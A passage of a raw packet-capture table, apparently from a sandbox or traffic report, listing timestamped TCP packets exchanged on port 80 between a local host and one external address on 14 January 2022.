Jan 14, 2022 12:30:15.371833086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.371849060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.371974945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.371982098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.372168064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.373007059 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.373159885 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.373418093 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.373435974 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.373455048 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.373770952 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.374505997 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.374525070 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.374759912 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.374778986 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.374794006 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.375174046 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.375191927 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.375325918 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.375345945 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.377346992 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.377365112 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.377376080 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.377728939 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.377748013 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.379338980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.379355907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.379482985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.379502058 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.379561901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.379949093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.379960060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.380130053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.380140066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.380317926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.380327940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.380492926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.380503893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.380661011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.380671024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.380850077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.380861044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.380985022 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.381016970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.381751060 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.383270025 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.399916887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.400160074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.400187969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.400363922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.400650978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.400667906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.400831938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.400845051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.401010990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.401026011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.401180983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.401196003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.401388884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.401405096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.401566029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.401580095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.401684999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.401825905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.402012110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.402028084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.402189970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.402204037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.402396917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.402412891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.402582884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.402599096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.402750015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.402765036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.402925968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.402940035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.403100014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.403115988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.403350115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.403367043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.403481960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.403626919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.403760910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.403779984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.403959990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.403974056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.404146910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.404164076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.404433966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.404450893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.404669046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.404689074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.404824018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.404838085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.405019999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.405035019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.405255079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.405267954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.405433893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.405447960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.405611992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.405622959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.405790091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.405806065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.405976057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.405991077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.406152010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.406162024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.406336069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.406351089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.406558990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.406810999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.407010078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.407025099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.407205105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.407222986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.407390118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.407404900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.407574892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.407591105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.407766104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.407779932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.407951117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.407968044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.408138037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.408153057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.408257961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.408432007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.408447027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.408623934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.408647060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.408807039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.408824921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.408989906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.409004927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.409177065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.409195900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.409478903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.409497976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.409657955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.409674883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.409833908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.409848928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.410011053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.410027981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.410193920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.410208941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.410398960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.410415888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.410592079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.410612106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.410758972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.445652962 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.445688009 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.446005106 CET	80	49920	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.446034908 CET	80	49920	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.448568106 CET	49920	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.454112053 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.461153030 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.461179972 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.465667009 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.465696096 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.474220037 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.475033998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.475075960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.475261927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.475279093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.475441933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.475461960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.475625992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.475642920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.475862026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.475892067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.476058960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.476077080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.476249933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.476269960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.476434946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.476452112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.476613998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.476633072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.476797104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.476813078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.476974964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.476994038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.477157116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.477173090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.477346897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.477365017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.477530003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.477546930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.477740049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.477756977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.477863073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.477915049 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:15.477993011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.478312016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.478451967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.478470087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.478635073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.478651047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.478811979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.478832006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.478997946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.479016066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.479178905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.479193926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.479351997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.479370117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.479521036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.479537010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.479688883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.479706049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.479856968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.479872942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.480026007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.480043888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.480191946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.480207920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.480401039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.480417967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.480675936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.480691910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.480696917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.480855942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.480873108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.481046915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.481065035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.481228113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.481264114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.481398106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.481415033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.481564045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.481581926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.481731892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.481749058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.481899977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.481918097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.482095957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.482135057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.482263088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.482470989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.482512951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.482659101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.482748032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.482907057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.482924938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.483061075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.483076096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.483241081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.483258963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.483407974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.483426094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.483576059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.483593941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.483746052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.483762026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.484013081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.484031916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.484039068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.484148026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.484308958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.484330893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.484587908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.484608889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.484728098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.498569965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.498650074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.498728991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.498871088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.499222040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.499372005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.499388933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.499511003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.499728918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.499764919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.499886036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.499901056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.500072956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.500089884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.500169992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.500358105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.500375986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.500534058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.500547886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.500628948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.500792027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.500998020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.501183033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.501202106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.501374960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.501389980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.501544952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.501563072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.501713037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.501729012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.501884937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.501902103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.502048016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.502062082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.502353907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.502371073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.502393007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.502609968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.502630949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.502772093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.502789021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.502952099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.502965927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.503132105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.503149033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.503369093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.509594917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.509910107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.510087013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.510102987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.510271072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.510288954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.510447979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.510463953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.510647058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.510665894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.510834932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.510849953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.511039972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.511058092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.511145115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.511324883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.511343002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.511513948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.511528969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.511703968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.511722088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.511900902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.511917114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.512082100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.512099981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.512254000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.512271881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.512363911 CET	49914	80	192.168.2.4	185.215.113.35
